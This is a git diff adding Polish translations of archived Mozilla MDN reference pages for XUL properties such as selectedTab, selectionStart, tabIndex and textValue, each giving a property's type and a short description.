diff --git a/files/pl/mozilla/tech/xul/własność/selectedpanel/index.html b/files/pl/mozilla/tech/xul/własność/selectedpanel/index.html
new file mode 100644
index 0000000000..192ea18264
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectedpanel/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedPanel
+slug: Mozilla/Tech/XUL/Własność/selectedPanel
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedPanel
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedPanel">selectedPanel</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Trzyma odniesienie do aktualnie zaznaczonego panelu bez elementu <code>&lt;tabbox&gt;</code>. Przydziela wartość do tej własności, aby zmodyfikować zaznaczony panel. Zaznaczone zdarzenie będzie przesłane, kiedy zaznaczony panel jest zmieniany.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectedtab/index.html b/files/pl/mozilla/tech/xul/własność/selectedtab/index.html
new file mode 100644
index 0000000000..019000e788
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectedtab/index.html
@@ -0,0 +1,20 @@
+---
+title: selectedTab
+slug: Mozilla/Tech/XUL/Własność/selectedTab
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectedTab
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectedTab">selectedTab</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element tab</i>
+ </dd>
+ <dd>
+ Referencja do aktualnie zaznaczonej karty, która będzie zawsze jednym z elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code> w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>. Przydziela wartość do tej własności, aby modyfikować aktualnie zaznaczoną kartę.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectionend/index.html b/files/pl/mozilla/tech/xul/własność/selectionend/index.html
new file mode 100644
index 0000000000..6207698f89
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectionend/index.html
@@ -0,0 +1,20 @@
+---
+title: selectionEnd
+slug: Mozilla/Tech/XUL/Własność/selectionEnd
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectionEnd
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectionEnd">selectionEnd</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia koniec zaznaczonej części pola tekstu. Stosujemy ze sprzężeniem z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectionStart">selectionStart</a></span></code>. Wartość określa indeks znaku za zaznaczeniem. Jeśli ta wartość jest równa sumie wartości własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectionStart">selectionStart</a></span></code>, to żaden tekst nie jest zaznaczony, lecz wartość sygnalizuje pozycję wstawki (kursora) wewnątrz pola tekstowego.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selectionstart/index.html b/files/pl/mozilla/tech/xul/własność/selectionstart/index.html
new file mode 100644
index 0000000000..ee111bc9b5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selectionstart/index.html
@@ -0,0 +1,20 @@
+---
+title: selectionStart
+slug: Mozilla/Tech/XUL/Własność/selectionStart
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selectionStart
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectionStart">selectionStart</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera lub ustawia początek zaznaczonej części pola tekstu. Stosujemy w sprzężeniu z własnością <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selectionEnd">selectionEnd</a></span></code>. Wartość określa indeks pierwszego zaznaczonego znaku.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/selstyle/index.html b/files/pl/mozilla/tech/xul/własność/selstyle/index.html
new file mode 100644
index 0000000000..dc56c116f0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/selstyle/index.html
@@ -0,0 +1,16 @@
+---
+title: selstyle
+slug: Mozilla/Tech/XUL/Własność/selstyle
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selstyle
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selstyle">selstyle</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Jeśli jest ustawiona na wartość <code>primary</code>, to tylko etykieta głównej kolumny będzie podświetlona, w momencie gdy pozycja drzewa jest zaznaczona. Inaczej, cały wiersz będzie podświetlony. Aby zobaczyć różnice, porównaj styl zaznaczenia na liście folderów i liście wiadomości w programie pocztowym Mozilli.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/seltype/index.html b/files/pl/mozilla/tech/xul/własność/seltype/index.html
new file mode 100644
index 0000000000..7ba16d4373
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/seltype/index.html
@@ -0,0 +1,29 @@
+---
+title: selType
+slug: Mozilla/Tech/XUL/Własność/selType
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/selType
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/selType">selType</a></span></code> &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+ <dt>
+  </dt>
+ <dd>
+ Type: <em>string</em></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code>.</dd>
+</dl>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/własność/sessioncount/index.html b/files/pl/mozilla/tech/xul/własność/sessioncount/index.html
new file mode 100644
index 0000000000..689fac4950
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/sessioncount/index.html
@@ -0,0 +1,20 @@
+---
+title: sessionCount
+slug: Mozilla/Tech/XUL/Własność/sessionCount
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/sessionCount
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/sessionCount">sessionCount</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje liczbę sesji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/sessionhistory/index.html b/files/pl/mozilla/tech/xul/własność/sessionhistory/index.html
new file mode 100644
index 0000000000..fdbf52cbd0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/sessionhistory/index.html
@@ -0,0 +1,16 @@
+---
+title: sessionHistory
+slug: Mozilla/Tech/XUL/Własność/sessionHistory
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/sessionHistory
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/sessionHistory">sessionHistory</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsISHistory">nsISHistory</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsISHistory">nsISHistory</a>, przechowujący historię sesji.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/showcommentcolumn/index.html b/files/pl/mozilla/tech/xul/własność/showcommentcolumn/index.html
new file mode 100644
index 0000000000..feb71156bd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/showcommentcolumn/index.html
@@ -0,0 +1,20 @@
+---
+title: showCommentColumn
+slug: Mozilla/Tech/XUL/Własność/showCommentColumn
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/showCommentColumn
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/showCommentColumn">showCommentColumn</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-showcommentcolumn"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showcommentcolumn">showcommentcolumn</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/showpopup/index.html b/files/pl/mozilla/tech/xul/własność/showpopup/index.html
new file mode 100644
index 0000000000..593759bb99
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/showpopup/index.html
@@ -0,0 +1,20 @@
+---
+title: showPopup
+slug: Mozilla/Tech/XUL/Własność/showPopup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/showPopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/showPopup">showPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-showpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/showpopup">showpopup</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/size/index.html b/files/pl/mozilla/tech/xul/własność/size/index.html
new file mode 100644
index 0000000000..c5203cf925
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/size/index.html
@@ -0,0 +1,20 @@
+---
+title: size
+slug: Mozilla/Tech/XUL/Własność/size
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/size
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/size">size</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-size"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/size">size</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/src/index.html b/files/pl/mozilla/tech/xul/własność/src/index.html
new file mode 100644
index 0000000000..67be0bca8a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/src/index.html
@@ -0,0 +1,20 @@
+---
+title: src
+slug: Mozilla/Tech/XUL/Własność/src
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/src
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/src">src</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ URL</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/statusbar/index.html b/files/pl/mozilla/tech/xul/własność/statusbar/index.html
new file mode 100644
index 0000000000..47c75796b8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/statusbar/index.html
@@ -0,0 +1,20 @@
+---
+title: statusbar
+slug: Mozilla/Tech/XUL/Własność/statusbar
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/statusbar
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusbar">statusbar</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu paska stanu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-statusbar"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statusbar">statusbar</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/statustext/index.html b/files/pl/mozilla/tech/xul/własność/statustext/index.html
new file mode 100644
index 0000000000..d7e410d7dd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/statustext/index.html
@@ -0,0 +1,20 @@
+---
+title: statusText
+slug: Mozilla/Tech/XUL/Własność/statusText
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/statusText
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/stringbundle/index.html b/files/pl/mozilla/tech/xul/własność/stringbundle/index.html
new file mode 100644
index 0000000000..57af9775c5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/stringbundle/index.html
@@ -0,0 +1,20 @@
+---
+title: stringBundle
+slug: Mozilla/Tech/XUL/Własność/stringBundle
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/stringBundle
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/stringBundle">stringBundle</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIStringBundle">nsIStringBundle</a></i>
+ </dd>
+ <dd>
+ Zwraca łańcuch znaków obiekt paczki XPCOM, który implementuje <a href="pl/NsIStringBundle">nsIStringBundle</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/strings/index.html b/files/pl/mozilla/tech/xul/własność/strings/index.html
new file mode 100644
index 0000000000..77a2e5d670
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/strings/index.html
@@ -0,0 +1,20 @@
+---
+title: strings
+slug: Mozilla/Tech/XUL/Własność/strings
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/strings
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/strings">strings</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsISimpleEnumerator">nsISimpleEnumerator</a></i>
+ </dd>
+ <dd>
+ Wyliczenie wszystkich ciągów w paczce ciągów. Zawiera obiekty <a href="pl/NsIPropertyElement">nsIPropertyElement</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/style/index.html b/files/pl/mozilla/tech/xul/własność/style/index.html
new file mode 100644
index 0000000000..56bef22521
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/style/index.html
@@ -0,0 +1,20 @@
+---
+title: style
+slug: Mozilla/Tech/XUL/Własność/style
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/style
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ styl CSS inline</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/subject/index.html b/files/pl/mozilla/tech/xul/własność/subject/index.html
new file mode 100644
index 0000000000..db36ee335d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/subject/index.html
@@ -0,0 +1,15 @@
+---
+title: subject
+slug: Mozilla/Tech/XUL/Własność/subject
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/subject
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/subject">subject</a></span></code></dt>
+ <dd>
+ Element tematu. Potrafi być odniesieniem zmiennej lub źródłem RDF adresu URI.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/suppressonselect/index.html b/files/pl/mozilla/tech/xul/własność/suppressonselect/index.html
new file mode 100644
index 0000000000..6e15dcc5a9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/suppressonselect/index.html
@@ -0,0 +1,20 @@
+---
+title: suppressOnSelect
+slug: Mozilla/Tech/XUL/Własność/suppressOnSelect
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/suppressOnSelect
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/suppressOnSelect">suppressOnSelect</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-suppressonselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/suppressonselect">suppressonselect</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tabcontainer/index.html b/files/pl/mozilla/tech/xul/własność/tabcontainer/index.html
new file mode 100644
index 0000000000..7f6b4feb26
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tabcontainer/index.html
@@ -0,0 +1,20 @@
+---
+title: tabContainer
+slug: Mozilla/Tech/XUL/Własność/tabContainer
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tabContainer
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tabContainer">tabContainer</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code></i>
+ </dd>
+ <dd>
+ Zwraca element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, który zawiera karty.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tabindex/index.html b/files/pl/mozilla/tech/xul/własność/tabindex/index.html
new file mode 100644
index 0000000000..a15be273f6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tabindex/index.html
@@ -0,0 +1,20 @@
+---
+title: tabIndex
+slug: Mozilla/Tech/XUL/Własność/tabIndex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tabIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tabs/index.html b/files/pl/mozilla/tech/xul/własność/tabs/index.html
new file mode 100644
index 0000000000..175d9b3321
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tabs/index.html
@@ -0,0 +1,20 @@
+---
+title: tabs
+slug: Mozilla/Tech/XUL/Własność/tabs
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tabs
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tabs">tabs</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element tabs</i>
+ </dd>
+ <dd>
+ Element <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>, w którym jest zawarty element <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/tabscrolling/index.html b/files/pl/mozilla/tech/xul/własność/tabscrolling/index.html
new file mode 100644
index 0000000000..0e4f1a3eaa
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/tabscrolling/index.html
@@ -0,0 +1,20 @@
+---
+title: tabScrolling
+slug: Mozilla/Tech/XUL/Własność/tabScrolling
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/tabScrolling
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tabScrolling">tabScrolling</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabscrolling"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabscrolling">tabscrolling</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/textbox.type/index.html b/files/pl/mozilla/tech/xul/własność/textbox.type/index.html
new file mode 100644
index 0000000000..fede706397
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/textbox.type/index.html
@@ -0,0 +1,24 @@
+---
+title: textbox.type
+slug: Mozilla/Tech/XUL/Własność/textbox.type
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/textbox.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/textbox.type">type</a></dt>
+ <dd>
+ Typ: '</dd>
+ <dd>
+ Ustawia wartość <code>autocomplete</code>, aby mieć samo uzupełniające się pole tekstowe.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/type">type</a></span></code></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/własność/textlength/index.html b/files/pl/mozilla/tech/xul/własność/textlength/index.html
new file mode 100644
index 0000000000..9bfcc79511
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/textlength/index.html
@@ -0,0 +1,20 @@
+---
+title: textLength
+slug: Mozilla/Tech/XUL/Własność/textLength
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/textLength
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/textLength">textLength</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Podtrzymuje długość wprowadzanego tekstu w polu tekstowym. Ta własność jest tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/textvalue/index.html b/files/pl/mozilla/tech/xul/własność/textvalue/index.html
new file mode 100644
index 0000000000..49424ffa8e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/textvalue/index.html
@@ -0,0 +1,20 @@
+---
+title: textValue
+slug: Mozilla/Tech/XUL/Własność/textValue
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/textValue
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/textValue">textValue</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Zwraca treść pola tekstowego. Odpowiednikiem jest własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/timeout/index.html b/files/pl/mozilla/tech/xul/własność/timeout/index.html
new file mode 100644
index 0000000000..f0ba9af0b0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/timeout/index.html
@@ -0,0 +1,20 @@
+---
+title: timeout
+slug: Mozilla/Tech/XUL/Własność/timeout
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/timeout
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/timeout">timeout</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-timeout"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/timeout">timeout</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/timepicker.value/index.html b/files/pl/mozilla/tech/xul/własność/timepicker.value/index.html
new file mode 100644
index 0000000000..a5c0e84f45
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/timepicker.value/index.html
@@ -0,0 +1,17 @@
+---
+title: timepicker.value
+slug: Mozilla/Tech/XUL/Własność/timepicker.value
+tags:
+ - Własności_XUL
